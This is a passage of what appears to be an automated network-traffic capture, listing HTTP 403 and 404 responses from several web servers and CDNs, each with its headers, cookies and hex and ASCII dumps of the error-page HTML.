Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:38 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:17:38 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:17:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=ab60e959-e1fb-4e62-af2e-c2a4066ad0b1; path=/; expires=Fri, 25 Oct 2024 09:47:38 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:17:38 GMT; SameSite=Laxset-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 25 Oct 2025 09:17:38 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:17:38 GMT; SameSite=Laxset-cookie: Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:17:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=ab60e959-e1fb-4e62-af2e-c2a4066ad0b1; path=/; expires=Fri, 25 Oct 2024 09:47:38 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:17:38 GMT; SameSite=Laxset-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 25 Oct 2025 09:17:38 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:17:38 GMT; SameSite=Laxset-cookie: Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveDate: Fri, 25 Oct 2024 09:17:42 GMTCache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Cache-Status: X-Zen-Fury: d0a2ac318fa3f72117ff05ef84b5d4d7d76e354eServer: ZENEDGEData Raw: 32 61 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 36 32 34 22 2c 20 31 37 32 39 38 34 37 38 36 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 31 39 3a 34 32 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2a9<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC624", 1729847862, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); docume
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:17:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QlwoernhYcq1WQfs%2FZS60ri67K9bDGVG%2Fo6ZQDlJTMMknh8UmcV7G4ufx6MvVbdQtO2%2F8Ib%2FVtVQTehXXcPMeHqHaQJrASjKKjk3WxY8%2FzNhzkTZ9cUNUsgYTqohNao%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811d7658374779-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=969&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=832&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:17:42 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:17:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=dc3f308b-9b4b-49e7-8dff-de3784898190; path=/; expires=Fri, 25 Oct 2024 09:47:42 GMT; HttpOnly; SameSite=Laxset-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 25 Oct 2025 09:17:43 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:17:43 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:17:43 GMT; Domain=domData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uP3Tkxf1CHESBVTu2QbH%2BV%2BhKJKYYmiakK8HCYcz6b8rpj3uejbeIbTOFryLaJd%2B0cVLbg2yiLNDLwMAn2%2FPuVOazU5YbHO9vVTsbcTIoWwBZLwo8Lp9MPRBfJj19eQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811d881a7eeaa4-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=783&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:18:04 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:06 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
